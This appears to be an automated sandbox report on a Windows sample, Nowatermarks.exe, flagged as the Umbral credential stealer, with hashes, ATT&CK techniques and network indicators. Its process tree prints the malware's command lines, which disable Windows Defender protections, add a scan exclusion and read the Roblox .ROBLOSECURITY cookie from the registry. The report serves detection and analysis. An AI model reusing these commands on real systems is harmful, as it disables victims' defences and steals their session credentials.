umbral | 4916686177420dca945e81aebaf2fc098c21ddb74fbbf9d0f6f2adaf37f218e8

Resubmissions

09/08/2024, 17:20

240809-vwc9aataqn10

09/08/2024, 17:16

240809-vtg5fsxblb10

08/08/2024, 19:08

240808-xtpkmsxgmn10

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
09/08/2024, 17:16

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General

Target
Nowatermarks.exe
Size 227KB
Sample240809-vtg5fsxblb
SHA256 4916686177420dca945e81aebaf2fc098c21ddb74fbbf9d0f6f2adaf37f218e8
MD5 926ac9e42778634f5c2580a913d83f62
SHA1 e36c92f542a4c010c9cbbdb91df84ec2e16ac62f
SHA512 e415af55a761d060dfd56f77491d853edb806c5e2337460fb7df8ac76f986e7a89904caa913b56fcbf19e0f3e084a71ef1a13336cf7aa73cdd52c342ff8375c6
SSDEEP 6144:+loZMCrIkd8g+EtXHkv/iD475jhDJ6idOIJbGmTLFb8e1mYi:ooZZL+EP875jhDJ6idOIJbGmTJu
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

umbral credential_access execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/5116-1-0x000002943EB10000-0x000002943EB50000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
760	powershell.exe
2656	powershell.exe
3500	powershell.exe
2424	powershell.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
25	discord.com
26	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4444	wmic.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
760	powershell.exe
760	powershell.exe
2656	powershell.exe
2656	powershell.exe
3500	powershell.exe
3500	powershell.exe
4584	powershell.exe
4584	powershell.exe
2424	powershell.exe
2424	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5116	Nowatermarks.exe
Token: SeDebugPrivilege	760	powershell.exe
Token: SeDebugPrivilege	2656	powershell.exe
Token: SeDebugPrivilege	3500	powershell.exe
Token: SeDebugPrivilege	4584	powershell.exe
Token: SeIncreaseQuotaPrivilege	2372	wmic.exe
Token: SeSecurityPrivilege	2372	wmic.exe
Token: SeTakeOwnershipPrivilege	2372	wmic.exe
Token: SeLoadDriverPrivilege	2372	wmic.exe
Token: SeSystemProfilePrivilege	2372	wmic.exe
Token: SeSystemtimePrivilege	2372	wmic.exe
Token: SeProfSingleProcessPrivilege	2372	wmic.exe
Token: SeIncBasePriorityPrivilege	2372	wmic.exe
Token: SeCreatePagefilePrivilege	2372	wmic.exe
Token: SeBackupPrivilege	2372	wmic.exe
Token: SeRestorePrivilege	2372	wmic.exe
Token: SeShutdownPrivilege	2372	wmic.exe
Token: SeDebugPrivilege	2372	wmic.exe
Token: SeSystemEnvironmentPrivilege	2372	wmic.exe
Token: SeRemoteShutdownPrivilege	2372	wmic.exe
Token: SeUndockPrivilege	2372	wmic.exe
Token: SeManageVolumePrivilege	2372	wmic.exe
Token: 33	2372	wmic.exe
Token: 34	2372	wmic.exe
Token: 35	2372	wmic.exe
Token: 36	2372	wmic.exe
Token: SeIncreaseQuotaPrivilege	2372	wmic.exe
Token: SeSecurityPrivilege	2372	wmic.exe
Token: SeTakeOwnershipPrivilege	2372	wmic.exe
Token: SeLoadDriverPrivilege	2372	wmic.exe
Token: SeSystemProfilePrivilege	2372	wmic.exe
Token: SeSystemtimePrivilege	2372	wmic.exe
Token: SeProfSingleProcessPrivilege	2372	wmic.exe
Token: SeIncBasePriorityPrivilege	2372	wmic.exe
Token: SeCreatePagefilePrivilege	2372	wmic.exe
Token: SeBackupPrivilege	2372	wmic.exe
Token: SeRestorePrivilege	2372	wmic.exe
Token: SeShutdownPrivilege	2372	wmic.exe
Token: SeDebugPrivilege	2372	wmic.exe
Token: SeSystemEnvironmentPrivilege	2372	wmic.exe
Token: SeRemoteShutdownPrivilege	2372	wmic.exe
Token: SeUndockPrivilege	2372	wmic.exe
Token: SeManageVolumePrivilege	2372	wmic.exe
Token: 33	2372	wmic.exe
Token: 34	2372	wmic.exe
Token: 35	2372	wmic.exe
Token: 36	2372	wmic.exe
Token: SeIncreaseQuotaPrivilege	2284	wmic.exe
Token: SeSecurityPrivilege	2284	wmic.exe
Token: SeTakeOwnershipPrivilege	2284	wmic.exe
Token: SeLoadDriverPrivilege	2284	wmic.exe
Token: SeSystemProfilePrivilege	2284	wmic.exe
Token: SeSystemtimePrivilege	2284	wmic.exe
Token: SeProfSingleProcessPrivilege	2284	wmic.exe
Token: SeIncBasePriorityPrivilege	2284	wmic.exe
Token: SeCreatePagefilePrivilege	2284	wmic.exe
Token: SeBackupPrivilege	2284	wmic.exe
Token: SeRestorePrivilege	2284	wmic.exe
Token: SeShutdownPrivilege	2284	wmic.exe
Token: SeDebugPrivilege	2284	wmic.exe
Token: SeSystemEnvironmentPrivilege	2284	wmic.exe
Token: SeRemoteShutdownPrivilege	2284	wmic.exe
Token: SeUndockPrivilege	2284	wmic.exe
Token: SeManageVolumePrivilege	2284	wmic.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 5116 wrote to memory of 760	5116	Nowatermarks.exe	86
PID 5116 wrote to memory of 760	5116	Nowatermarks.exe	86
PID 5116 wrote to memory of 2656	5116	Nowatermarks.exe	88
PID 5116 wrote to memory of 2656	5116	Nowatermarks.exe	88
PID 5116 wrote to memory of 3500	5116	Nowatermarks.exe	90
PID 5116 wrote to memory of 3500	5116	Nowatermarks.exe	90
PID 5116 wrote to memory of 4584	5116	Nowatermarks.exe	92
PID 5116 wrote to memory of 4584	5116	Nowatermarks.exe	92
PID 5116 wrote to memory of 2372	5116	Nowatermarks.exe	94
PID 5116 wrote to memory of 2372	5116	Nowatermarks.exe	94
PID 5116 wrote to memory of 2284	5116	Nowatermarks.exe	97
PID 5116 wrote to memory of 2284	5116	Nowatermarks.exe	97
PID 5116 wrote to memory of 916	5116	Nowatermarks.exe	99
PID 5116 wrote to memory of 916	5116	Nowatermarks.exe	99
PID 5116 wrote to memory of 2424	5116	Nowatermarks.exe	101
PID 5116 wrote to memory of 2424	5116	Nowatermarks.exe	101
PID 5116 wrote to memory of 4444	5116	Nowatermarks.exe	103
PID 5116 wrote to memory of 4444	5116	Nowatermarks.exe	103

C:\Users\Admin\AppData\Local\Temp\Nowatermarks.exe
"C:\Users\Admin\AppData\Local\Temp\Nowatermarks.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Nowatermarks.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4584
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2372
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2284
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2424
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 18a2aa7e245c6732f95fb7749b2b4d29007f2c56a9c5bfbc5e3c127bdfe5f158
MD5 2af06a6b36db9473e4a7d9c7ab72b70b
SHA1 8ef34b9b961e51bdd1b8d7d9db2ec1b0a4764645
SHA512 3495567a5d5af94ae27be51313d9e2630c52017d808042fe0d56baa34fa1d246eb15c253d14c77c77a1d8f2f1c81680e623044ae95415b095696e7fa141ac7cf
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
MD5 276798eeb29a49dc6e199768bc9c2e71
SHA1 5fdc8ccb897ac2df7476fbb07517aca5b7a6205b
SHA512 0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d501519d562949c08d9183ef5af81c24e9a17249b3bbd4d99f21b4f93202d92f
MD5 2b420363ccb5edf4bf0b47ca031f19fc
SHA1 94533788100239959b6dd7ba2b97af25f6d720f9
SHA512 1c721993a9423595dc9abe7eb12813488fddceb1b852aabe74e1174aa19b19ca141b164c4d4dcc79adf3b9c0f03c478aadb099cd2c98c08a0815e78e097dcd2d
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_xc4j52ph.mdw.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xc4j52ph.mdw.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/760-13-0x000002083DF50000-0x000002083DF72000-memory.dmp

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memory/760-14-0x00007FF89F4D0000-0x00007FF89FF91000-memory.dmp

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memory/760-15-0x00007FF89F4D0000-0x00007FF89FF91000-memory.dmp

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memory/760-18-0x00007FF89F4D0000-0x00007FF89FF91000-memory.dmp

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memory/760-3-0x00007FF89F4D0000-0x00007FF89FF91000-memory.dmp

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memory/5116-32-0x000002943F000000-0x000002943F050000-memory.dmp

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memory/5116-31-0x000002943F0B0000-0x000002943F126000-memory.dmp

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memory/5116-33-0x000002943EFD0000-0x000002943EFEE000-memory.dmp

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memory/5116-1-0x000002943EB10000-0x000002943EB50000-memory.dmp

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memory/5116-0-0x00007FF89F4D3000-0x00007FF89F4D5000-memory.dmp

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memory/5116-69-0x000002943F060000-0x000002943F06A000-memory.dmp

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memory/5116-70-0x00000294591F0000-0x0000029459202000-memory.dmp

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memory/5116-2-0x00007FF89F4D0000-0x00007FF89FF91000-memory.dmp

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memory/5116-88-0x00007FF89F4D0000-0x00007FF89FF91000-memory.dmp

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